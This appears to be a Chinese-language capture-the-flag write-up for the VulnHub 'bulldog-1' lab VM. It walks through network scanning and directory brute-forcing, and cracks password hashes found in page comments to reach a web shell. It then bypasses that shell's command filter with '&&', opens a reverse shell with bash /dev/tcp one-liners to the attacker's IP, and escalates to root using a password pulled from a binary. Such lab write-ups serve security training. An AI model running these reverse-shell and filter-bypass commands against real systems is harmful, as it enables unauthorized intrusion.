bulldog-1靶机 write up
0x00 环境搭建
-
下载链接
https://download.vulnhub.com/bulldog/bulldog.ova
-
目标
获得root权限 读取flag -
运行环境
靶机 VM虚拟机启动
攻击机 kali win10 -
靶机ip问题
(1)设为nat模式 和kali同网段
(2)如果设为nat, kali扫不出靶机ip 这样尝试
【1】重新启动 靶机 到开机页面 选择第二个ubuntu的高级选项。
【2】继续选择第二个选项
【3】 选择root 按回车 回车 进入命令行模式
【4】 mount -o rw,remount /
【5】ifconfig -a 显示所有网卡的信息,包含未up的
【6】 vim /etc/network/interfaces 修改 网卡名称
【7】 都改为 ens33
【8】 reboot
【9】 去kali 扫描 网段测试
如果有问题 多试试
一开始 改了 还是没反应 尝试了好几次 还是不行,
之后删掉靶机文件,重新 导入了靶机 再次修改 ip出现。
0x01 信息收集
-
ip探测
netdiscover -i eth0 -r 192.168.157.0/24
-
端口和服务识别
masscan -p 1-65535 --rate=1000 192.168.157.161 nmap -A -sC -sV -p 80,23,8080 192.168.157.161 -o port.tx
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-30 16:34 CST
Nmap scan report for 192.168.157.161
Host is up (0.00042s latency).
PORT STATE SERVICE VERSION
23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 20:8b:fc:9e:d9:2e:28:22:6b:2e:0e:e3:72:c5:bb:52 (RSA)
| 256 cd:bd:45:d8:5c:e4:8c:b6:91:e5:39:a9:66:cb:d7:98 (ECDSA)
|_ 256 2f:ba:d5:e5:9f:a2:43:e5:3b:24:2c:10:c2:0a:da:66 (ED25519)
80/tcp open http WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
8080/tcp open http WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
MAC Address: 00:0C:29:27:6E:D6 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.42 ms 192.168.157.161
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.66 seconds
23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; proto
80/tcp open http WSGIServer 0.1 (Python 2.7.12)
8080/tcp open http WSGIServer 0.1 (Python 2.7.12)
OS details: Linux 3.2 - 4.9
0x02 漏洞挖掘
web漏洞思路
(1) 爆破目录 看各个网页功能 及源码 找漏洞
(2) 看是否存在cms等框架漏洞,存在直接利用。
不存在开bp 手动找,也可开awvs appscan xray扫描。
ssh 利用思路
(1)用九头蛇跑弱口令,在有用户名的情况下,需要看字典还有是否存在弱口令啦。
(2)从web中获得的账号密码,也可进行尝试,很有可能也是ssh密码。
步骤一:浏览网页 爆破目录
(1) kali 和win10 两款工具爆破
/robots.txt
/admin/login/ 登录框
/dev
(2)浏览主页 点击各个点
只点到 一个 /notice/ 没有利用点
(3) 看看爆破出来的页面
/admin/login/ 页面 是一个Django 框架做的登录框
/robots.txt 没用
/dev 内容过多
有用信息有
点击 Web-Shell 跳转到
http://192.168.157.161/dev/shell/
需要认证才能使用
审查 /dev 源码 发现 存在网页开发人员测试时留下的有用信息 密码的哈希
尝试 解密登录
<!--Need these password hashes for testing. Django's default is too complex-->
<!--We'll remove these in prod. It's not like a hacker can do anything with a hash-->
Team Lead: alan@bulldogindustries.com<br><!--6515229daf8dbdc8b89fed2e60f107433da5f2cb-->
Back-up Team Lead: william@bulldogindustries.com<br><br><!--38882f3b81f8f2bc47d9f3119155b05f954892fb-->
Front End: malik@bulldogindustries.com<br><!--c6f7e34d5d08ba4a40dd5627508ccb55b425e279-->
Front End: kevin@bulldogindustries.com<br><br><!--0e6ae9fe8af1cd4192865ac97ebf6bda414218a9-->
Back End: ashley@bulldogindustries.com<br><!--553d917a396414ab99785694afd51df3a8a8a3e0-->
Back End: nick@bulldogindustries.com<br><br><!--ddf45997a7e18a25ad5f5cf222da64814dd060d5-->
Database: sarah@bulldogindustries.com<br><!--d8b8dd5e7f000b8dea26ef8428caf38c04466b3e-->
步骤二: 破解hash
最后 在线解密后 就得出 最后两个 密码
邮箱 [email protected]
密码 bulldog (cmd5)
邮箱 [email protected]
密码 bulldoglover (somd5)
步骤三:利用密码登录后台
(1)以邮箱@前当做用户名 密码登录后 都显示没有操作权限。
(2) ssh登录 23 都失败
(3)想到刚才需要认证的web-shell 访问试试
认证成功 是一个命令执行的界面
步骤四:利用命令执行(需要尝试绕过方法)
测试后 很多命令都会被网页拦截 想办法绕过
测试出 可以利用 (允许执行的) &&(不允许执行的) 拼接命令绕过
比如
id 不被执行
ls && id id执行成
步骤五:反弹shell
(1)
ls && bash -c 'exec bash -i &>/dev/tcp/192.168.157.137/8080 <&1'
(2) 也可以 直接利用echo 可执行 反弹shell
echo "bash -i >& /dev/tcp/192.168.157.137/8080 0>&1" | bash
先试用echo 输出命令,在输入到 bash中。
两种方法均可以反弹成功
0x03 提升权限
步骤六:查看系统用户,确定需要关注的用户
/bin/bash 的有 django 和 bulldogadmin 两个用户
步骤七:查找每个用户的文件
(1) 先看 bulldogadmin
find / -user bulldogadmin 2>/dev/null
只显示非错误的
( 2>/dev/null 表示 将标准错误 重定向到 /dev/null 即linux设备的空文件中 俗称黑洞)
(2)发现 一个隐藏目录 中存在两个文件
/home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
/home/bulldogadmin/.hiddenadmindirectory/note
(3)note文件应该是文本文件 直接cat 打印输出
cat /home/bulldogadmin/.hiddenadmindirectory/note
(4)App 看起来像是执行文件 strings 打印一下其中可打印的文件字符看看
strings /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
步骤八:拼接root密码提权
SUPERultH
imatePASH
SWORDyouH
CANTget
去掉H
SUPERultimatePASSWORDyouCANTget
可能是密码
su
报错 must be run from a terminal
必须从一个终端运行
用以下命令 将shell转换成完全交互的tty终端模式
python -c 'import pty; pty.spawn("/bin/bash")'
再次
su
报错su: Authentication failure
需要
sudo su
SUPERultimatePASSWORDyouCANTget
cd ..
cat congrats.txt
0x04 思路总结
1.利用目录爆破 从爆破出的/dev页面内容中找到一处webshell 页面,源码中 查看到 认证需要的 账号密码。
2.利用webshell页面 可以执行操作系统命令,直接bash反弹 被禁止 。想办法绕过 echo 先输出命令 | 在输入到 bash中 或者 ls&&id 绕过。
3.获取到shell后 翻文件 看有没有密码等线索。
4.su 命令报错 must be run from a teriminal 必须从一个终端上运行时
python 环境可以
python -c ‘import pty;pty.spawn("/bin/bash")’
将shell转换为终端(tty)模式。